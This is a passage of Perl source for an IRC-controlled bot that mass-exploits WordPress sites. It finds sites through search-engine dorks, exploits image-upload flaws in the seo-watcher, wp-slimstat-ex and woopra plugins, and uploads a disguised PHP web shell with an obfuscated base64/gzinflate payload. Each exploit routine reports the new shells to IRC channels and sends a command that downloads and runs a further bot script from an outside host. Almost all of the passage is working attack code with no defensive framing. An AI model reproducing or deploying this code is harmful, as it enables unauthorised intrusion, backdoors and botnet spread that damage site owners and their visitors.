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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/load.php"); &msg("$chan","$seologo $engine Exploiting $site "); if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) { my $sys = $1; &msg("$admin","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$chan","$seologo15$engine 13 sHeLL upload3d "); &msg("$chan2","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$nick","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &get_content("http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) { my $sys = $1; &msg("$admin","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$chan","$seologo15$engine 13 sHeLL upload3d "); &msg("$chan2","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$nick","$seologo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/9load.php OS : ".$1); &get_content("http://".$site."/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } } } } sub slimcmd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$slimlogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) { my $sys = $1; &msg("$admin","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$chan","$slimlogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$nick","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &get_content("http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) { my $sys = $1; &msg("$admin","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$chan","$slimlogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &msg("$nick","$slimlogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/9load.php OS : ".$1); &get_content("http://".$site."/wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } } } } sub woopra_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$woopralogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('1Rppc9u28nMzk/+AokpETazDdtLGhzRxHTlWJz4iyXlN44yGIiEJNa+QYGQ1zX/vLgCCpG05tuO+l6d2YgLYXeyNxZIPH7A4DuNRzKIwFjyYWq3a1sMHfEKsH3mSMGFVRoPuYNA7OnxfHdt/2mfVD7XaD58fPqh84gkXTpgGgrRJC5AqczaGR0Tov+3239P94fB4tH80GNIPuMyDP0vL/e6bk+5gODrp9xTAOHQXAEFt1yYLO5gSwGCOIKcBkkZ8imCJPWF+y2UA+oIHfDQFLqs4OfJDl1UN/wawRj5XEuakMRcLID/Y2euODo5edoHA0d4e3fry8AHzEnYN1CEAya1ZHLG4DTvOwkSMF4HtM8tIVFV/RzsvX/ZBTVpmdibCGIgsQ+p3D46G3QKSb3PPos5izGLBnFkQjvlfL6Y423BCn64QKjVFV+i+nXCP/IpmsQMyEyLabDYzXYHWMnFOg94xGbD4E0NGtBSnAYHZnlRxGMN0xiuVnF8yu7ZyrqxLEE+eSC3xiZW5zqvu8H3V8cKAodug1yRhGjus6AfVwW6/dzwc7fVedw93DrpV6QsuSwQn7Rzq5dHuyUH3cDjqHx0Nqx8atMl9e8qSZgIsc/g7CUMX/xEsbkSzCF0lZkrXatMVoqjWlBT36EebN/KjTeVHAOTMQkK3BRce64wXf21sbKxuN9Vwexx3kHUNMwkhvBL+F2uvESf0wE4/PZc/AOzQhtmoQbebY4NcgclRCmZuU4s2QK4RTIAyhJy0ag1au+keJ4AAnKfcbUtK/gIegYLZokHJNF+cXlwssnWj/dBisCFFG45Sab9amcwkDRzBw4BEc9iMoFc5c1dFmINTygcraTsRcRyFiYXrK9VmVbqgXPoR1zwWyKVafRUXYibSOCA40wDgzJyfC/PSv/X8VVucnt5mD4BevoneCFVWBZXFPvExgYCmjzGjElvqoE1p53qF7oa+bwdupsBtHkSpIGIRsTYV7FxQgjpuU8d3aXl1kI59nq8rOpR8sr1Ujs8AvomcdapbZU4ZGEiS8FNP8MiOhYSru7awM84zcVCar4hwEnmh7ZI97jEpRhOhL0kz467LAs1tongvAUwAXy+jb+KQ6j2fK2rXcnHI5hJ7kxSZKNBHbSrs1Wd6n4DN8YESx7OTpC3sEoJiUq/RsTC6VQKX1FtIqqix91WFnKXVVGK4HPN7lMfAjxXJR4aj2QGkz3JBpmHMu4P31Uwl1Q8AJ4GkH/rhJzZS1Jk7QgDrShThRyOFBmnWcNOQ22hm7oUUSqvySOYVcC4yF/PCF6KyLymtD1LHYUlCBEw1LpKD5LV5TOgW+SKj7ZKStdNnWoYYkSrTi74rzyqd1qKYFT1oPfOglvxBsk5mzPNG7Jw5FlKSWU05URNxaSm1lE9QP2ch1DzkC3dlIbwVD/EkYyGeAANorJE8WQAbTpYEDppGE/6H8YRP09jGIJcHcS1jEDCLBQS5A9dVLyF1z64uYfxFRafFzEZqCDoiBFcnceibNRyYlZjZXilWsokCROQtRFgAkGOzDgGJpVS7EKA4Nus+eCEULGZdj806wwrP40lOwczk/KPWNZs6ci7ErILTRpFZJvdlM1eid5lUHoAazPaxzM+VKod6FVxkJLjPRh6HfGTxQEASMwGEK3IBnWcLwHtQUWVGgvNhkXz0aO0zEmo2X8X2mEihCcRoDPphCUErkYPF4M1rBOKB46VQstFGU+I2eDAJVbmHyw8fEKJrto8eVtvk77+JHHjhlAdmFEHGNQN3bB4/pixeKHYI/KIYxCH02GM2OGzm2YyUtyZzLmZkATWm5hMXYl8FANnxPAI6wrtVAitEzHiiSckgIjYQjNnHlMfMbSgxcG92zoUefMlEq7h4wZK7Y9wF4F5WJinkykxM9Ygy1ghcPVzOLLqrwPHghUyo+FSpE4pBvY8inDAPAEfu2FLKwbJ5XCSUei4JQohWCUjwUB+jfhS4oQYBk8DxbxiWurVyLRuKb3ComdkkBiAnFKR+HM4TQwnGI5yw9BY1Y3vQu1U5b7e2SOV8O8PDwZMnuVU1FpIwJCdQOs5wpkyTSHi4viivbBdx37c+FGBMrJJGO8do0NPAmPTLBWvyUigkDIorYDLLE7BZitWjA3cRK5s0XBWgWMymeH/3bAeU+ejZ7qO1Nbwkqj/XYQJ9l32VPhSxPEqgRpmx5ApAneYuAep5A/hF/sswOaC3/Px0pPeu/rZ/6L1bf7v4Y7Cz0dv9rTVe20ictd6cvTqPnPX+zh9rqzP7P/P03dqG6P2ZTF++Cc/s33emx4Nfgz9+73vj4F3Y837bG55snPTfbvza7/YHPX72S2+n3a7WFAPF6lSVZvi4Sk1RDTW8KBTV15ewHZRl2+WfiO3xKcA7kFhZjOWmPyVJ7LQpXsYTuI3P5/OGCEMvGbfO8freFDMGOmyCH+F9PLvEQtyGa40omFJZiUr6TdhAPUGAQaKYc1fM2nS11XpEyTiMXbzftSiZMT6diTZ92vpFcZY5GGIiLe2jMHLLROCgTSIb+H8KBKfq2KU/7cFd1hBd/5l2CFS/RJ3QE3CyNt2Jue3p2pmuUVLAROTO42CcRFsH3cFg51U3CxH4DbrDk2NzbmMRLdwif80Cu9ew/ihnD3xcqyLjofsc/7soT6fARdFwMZIpXaFofZ1qMd+y2LUDe4VIeVfIPvM+McEdmEnsIKmDBfmEdt5B5s85xV8XY3/TCKrsWJDSXSLZ87tI9k28F9Wy7GaIJ7C5mlQbsohqVDPzr7dopyi9kXqZlOur3739DvGad2vzPV39Ls2XFbJFE2ZztzOjjs9bRmc5r1ypk3/Tun0s0+vD8D7C8Sai/BfsKe8dZXPKqXsNytuaLbpPo+V0ZSolxzEPsc25+VVBnq7+L42mDj7N5MMH27pEVoZjkZaCEmyYYrF4IKsPSsLAmdnBFBtXs3C+z132GlZ35S3BqhX1sR1GsojXxqe6Cmcu6dSJvqjszsIQ/tS3mwp4OToUQKSzD8r6Oug6gh7ivcYrAP/wwwWwZwj2OpyXYZqKyyL1b9H4jhC2M5MNwcwjdLlE7mmHJXGoeob6WMz7h3QNCqhm5+p4M3eEopuu/YLh800sKl8jlzYlpV3/T2uqgbo93CJpm1p2/Xs8hPVtqJi09VSetDdufgT/K+bUDvW96raUW69VCipZeqIII3oDUVZB83eQZfUb/AR9w4YqTLuHvlWrG1mb/gz8YOcCLUk74Ct6vVEFUTVm2VXGscw/hSK25Iqx7fIwf5NjGoHGHyPP5gFsP2POGYPDST9gVoNTBdYIKRbItyM+E74nKe0PD15fQ0i9wckoqbu4ISL7I0BEiZpTOUz9MYuxqYUQm8tDUHUtaeHoU3YEFV9B9sA+537qk8SJeSQINp9T1T3jPrNAHwkDUd1khbSw60SCkJheZ20pDwbEsNEqs3GNdvQrrQxxANISdgDVUZIh3qLeK5VJd/T/9fvzf9M9yyJg/WIEGIjlMXB9ZoBH7KLIkXmvRtQr/stdOJJ3kmUD+vFjbBDrVpccZA0yOTDcLe8d+5HHBIMz0iMTzjw3IWMGXDDptjyYqgZyFuhX9oGzDmIFiMgdsSWaRB4XFvYZVwpdyGLv1IDKj3WsHNsAQSkj5Kch1NjBLHmhjc09uodq2CQIgF1O7HFD/ZJ63gvZBwcB5UsYQJmzMZMWWfItUGPZJ0DyJcBRxLBJznRzXFZ6PmQUtIYdLFbgH5foDqLqjhIuZAiqHq2IweXwYyaSvW0wL02McaRh5TRoNxGJgqnlxpN96WHGBFhGdulFvEBDQapRrxFRoZ4bVAWYEp4jDlU4LCLzsrkX09oFy5HszQy+QQMHdq1JGOEXArjPCgWEFXzCAMt42rqM6czS4GykDF/ShJUBFdBS7qrerAjTKGKx5bvPrDTgH7lryVxWqxWg9VthpKo+nZFMlN9DqCa77rKfb+u3Q3KQt9kvdeKVy13qxYO+2gWHfl85z7vqMjRFmENn8OWWN8FuN3o/gG4VQJe1yB/LrR4rjCs65OWu9vW4F7vceeAPdFgrpwwRvqF+tAA88dJkZpW2noFbqGDEkNskpllDtmUu6pzGp4HpapDs8o+z9Ao6DSB00Dvo1iFLJ5DkNslqo3UR+EKclJB3lUvVh3AKQfybdrjPz5m7BedGGrh2vGijp92Gbr1+FcbynTHpN4tvNm+EitlgwuJ6FwME7LFJno+5QNTr0DOf+HZ5bq5ZBYWCbalT8ZTmiKf0ToQvS6/yxV2IveSQVhMupA/leXlL5sglDN9mn8y0t9d5vV6El59PlqJTpweFd0Wohmfq07LlYVl8daef1Tby+zv8slAdoSsq7oG73rH8iK3CI/kOsKHOz5P+azWNZ6RayM/sFX3aqm1hm38A'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/woopra/inc/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$woopralogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$woopralogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$woopralogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$woopralogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/wp-content/plugins/woopra/inc/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$woopralogo15$engine 9 sHeLL 8 